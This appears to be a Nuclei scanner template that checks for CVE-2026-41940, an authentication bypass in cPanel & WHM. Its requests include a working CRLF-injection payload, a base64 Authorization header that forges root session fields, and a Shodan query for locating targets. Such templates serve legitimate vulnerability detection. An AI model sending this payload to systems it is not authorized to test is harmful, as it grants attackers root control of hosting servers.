cPanel & WHM - Authentication Bypass via Session-File CRLF Injection

id: CVE-2026-41940

info:
  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
  author: watchtowr,hadrian.io,DhiyaneshDk
  severity: critical
  description: |
    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
  impact: |
    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.
  remediation: |
    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.
  reference:
    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"WHM Login"
  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        user=root&pass=wrong

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
          - contains(header, "whostmgrrelogin")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_no_ob
        part: header
        group: 1
        regex:
          - 'whostmgrsession=([^;,]+?)%2[Cc]'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
        Connection: close

    disable-cookie: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 307
          - contains(location, "cpsess")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: cp_token
        part: header
        regex:
          - '(/cpsess\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /scripts2/listaccts HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
        internal: true

  - raw:
      - |
        GET {{cp_token}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"data":{"version":"'
          - '"command":"version"'
          - '"reason":"OK"'
          - '"result":1'
        condition: and

      - type: word
        part: body
        words:
          - "Access denied"
        negative: true

    extractors:
      - type: regex
        part: body
        regex:
          - '"version"\s*:\s*"([^"]+)"'
        group: 1
# digest: 4a0a00473045022100f130f9f84ef8381e91bd1cbfe3783396f55c6e3230665d68a684941b497d814402200f6abc0ff1067d65c1eb80ac99a3ffefbdfc071dbeef4aff2985493c5d127ae9:922c64590222798bb761d5b6d8e72950